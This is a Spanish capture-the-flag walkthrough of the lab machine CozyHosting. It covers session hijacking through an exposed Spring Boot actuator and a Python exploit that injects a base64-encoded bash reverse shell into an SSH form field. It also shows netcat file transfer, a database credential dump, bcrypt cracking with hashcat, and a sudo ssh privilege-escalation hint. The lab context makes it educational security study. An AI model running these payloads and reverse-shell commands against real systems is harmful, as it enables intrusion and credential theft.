Accedemos a la IP 10.10.11.230 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:
sudo nano /etc/hosts
Ahora ya se muestra la web en el navegador:
A primera vista parece una web con servicios de hosting. No tiene ninguna acción aparte del botón de login. En el código fuente no encontramos ningún dato relevante.
Escaneo con Nmap
NMAP Puertos abiertos:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-favicon: Unknown favicon MD5: 72A61F8058A9468D57C3017158769B1F
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Fuzzing
Al fuzzear con gobuster o ffuf no encontramos ningún directorio interesante, así que vamos a probar a hacer fuzzing con dirsearch
dirsearch -u http://cozyhosting.htb/
Nos devuelve:
Hay un directorio sospechoso: /actuator
Al acceder al directorio nos encontramos varios apartados:
Al acceder a /actuator/sessions tenemos un nombre de usuario 'kanderson' y cookies de sesión asociadas:
Desde el navegador cambiamos la cookie de sesión en inspect/storage, y accedemos sin usuario ni contraseña a /admin.
En este panel no hay muchas cosas interesantes o que podamos hacer.
Exploit
Buscando en internet encontramos un exploit para esta máquina:
Creamos un archivo cozy.py con el siguiente script:
#!/usr/bin/python3# Author: M3Y# IMPORTS #import requestsimport jsonimport sysimport subprocess# Config TargetURL ="http://cozyhosting.htb"headers ={'Content-Type':'application/vnd.spring-boot.actuator.v3+json'}# lhost - lportiflen(sys.argv)!=3:print('[!] Usage: %s host port'% (sys.argv[0]))print('[*]Example: ./cozy.py 10.10.12.14 443\n')lhost = sys.argv[1]lport = sys.argv[2]# create payload# 1) encode in base64proc=subprocess.Popen([f"echo '/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' | base64"],stdout=subprocess.PIPE,shell=True)out, _ = proc.communicate()result = out.decode().strip()# 2) generate shell payloadpayload=";$(echo${IFS}%s${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}/bin/bash${IFS})"% (result)defgetAdminDashboard():# url for get session session_url = URL +"/actuator/sessions" r = requests.get(session_url,headers=headers) data = r.json()# loop on each value desired_value ='kanderson' key =Nonefor k,v in data.items():if v == desired_value: key = kbreakreturn keydefgetShell(): session =getAdminDashboard() new_url = URL +"/executessh"# Cookie to access at dashboard cookies ={'JSESSIONID':'Confusedession'}# payload data data ={'host':'127.0.0.1','username': payload} request = requests.post(new_url,cookies=cookies,data=data)if__name__=="__main__":print('[!] Befote execute this script start a listener with netcat')print('[*]Example: nc -nlvp 443')print('[*]Getting Shell ...')getShell()
Abrimos un listener de netcat y ejecutamos cozy.py, dándole como argumentos la IP y el puerto de netcat:
nc -nlvp 1337
python3 cozy.py 10.10.14.202 1337
Esto nos devuelve una shell a netcat.
Al acceder al directorio home nos encontramos el nombre de usuario 'josh', pero no nos deja acceder.
En el directorio principal hay un archivo .jar que vamos a descargar por netcat:
En el server: nc 10.10.14.202 1234 < cloudhosting-0.0.1.jar
En nuestro kali: nc -l -p 1234 > cloudhosting-0.0.1.jar
Descomprimimos el zip o lo abrimos con JDec
En el archivo application.properties encontramos el usuario y contraseña de la base de datos:
Usuario: postgres
Contraseña: Vg&nvzAQ7XxR
Nos conectamos a la base de datos desde la shell del server:
psql -U postgres -W -h localhost -d cozyhosting
Ya estamos dentro de la base de datos. Vamos a enumerar las bases de datos disponibles y su información en busca de usuarios y contraseñas:
\list <!-- listado de bases de datos -->\c cozyhosting <!-- Accedemos a la BBDD cozyhosting -->\d <!-- Muestra todas las relaciones -->SELECT * FROM users; <!-- Vemos todo el contenido de la tabla usuarios -->
Encontramos usuarios y contraseñas en formato hash:
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
Cracking
Vamos a crackear los hashes para obtener las contraseñas en plano:
sudo hashcat -m 3200 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
La contraseña es: manchesterunited
Nos conectamos por SSH con el usuario josh (que encontramos antes) y esta contraseña:
ssh josh@10.10.11.230
manchesterunited
Obtenemos el user.txt:
3c1561e5ac2f02a012402d308e....
Escalada de privilegios
Vamos a ver los permisos que tenemos en la máquina:
sudo -l
User josh may run the following commands on localhost: (root) /usr/bin/ssh *
Consultamos GTFOBins para ver los binarios disponibles:
Encontramos una shell interactiva a través de ProxyCommand.